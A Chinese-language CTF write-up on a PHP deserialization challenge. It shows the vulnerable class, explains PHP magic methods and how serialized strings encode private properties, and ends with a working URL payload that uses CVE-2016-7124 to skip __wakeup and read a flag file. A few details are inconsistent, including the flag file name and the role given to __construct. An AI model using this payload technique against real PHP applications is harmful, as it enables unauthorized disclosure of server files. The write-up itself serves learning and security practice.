CTF——php反序列化
题目:
<?php
class ccsc{
private $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('ccsc');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=$_GET['file'];
echo unserialize($file);
}
?>
一、魔术函数
<?php
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
}
public function __sleep(){
echo 'sleep run';
}
public function __wakeup(){
echo 'wakeup run';
}
}
/**/
echo'new了一个对象,对象被创建,执行__construct</br>';
$test= new Test();
/**/
echo'</br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
$sTest= serialize($test);
/**/
echo'</br>unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup</br>';
$usTest= unserialize($sTest);
/**/
echo'</br>把Test这个对象当做字符串使用了,执行__toString</br>';
$string= 'hello class ' . $test;
/**/
echo'</br>程序运行完毕,对象自动销毁,执行__destruct</br>';
?>
题中有三个魔术方法
__construct(),创建时自动调用,用得到的参数覆盖刀了file。
__destruct(),销毁时调用,会显示文件的代码,这里要显示fl4g.php
__wakeup(),反序列化时调用,会把$file重置成index.php
二、关键字的使用
1、关键字的使用——protected:
<?php
class ccsc {
protected $file = 'index.php';
}
$a= new ccsc();
echo serialize($a);
?>
输出:
O:4:“ccsc”:1:{s:7:“空格*空格file”;s:9:“index.php”;}
2、关键字的使用——private:
<?php
class ccsc {
private $file = 'index.php';
}
$a= new ccsc();
echo serialize($a);
?>
输出:
O:4:“ccsc”:1:{s:10:“空格ccsc空格file”;s:9:“index.php”;}
3、关键字的使用——public:
<?php
class ccsc {
public $file = 'index.php';
}
$a= new ccsc();
echo serialize($a);
?>
输出:
O:4:“ccsc”:1:{s:4:“file”;s:9:“index.php”;}
三构造payload:
绕过__wakeup()是利用CVE-2016-7124,例如:
O:4:“ccsc”:2:{s:4:“file”;s:9:“index.php”;}
(正常是O:4:“Demo”:1:…),反序列化化时不会触发__wakeup()。
由于这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即\00)。
所以构造 payload:
/?file=O:4:“ccsc”:2:{S:10:“\00ccsc\00file”;s:8:“flag.php”;}
成功拿到flag。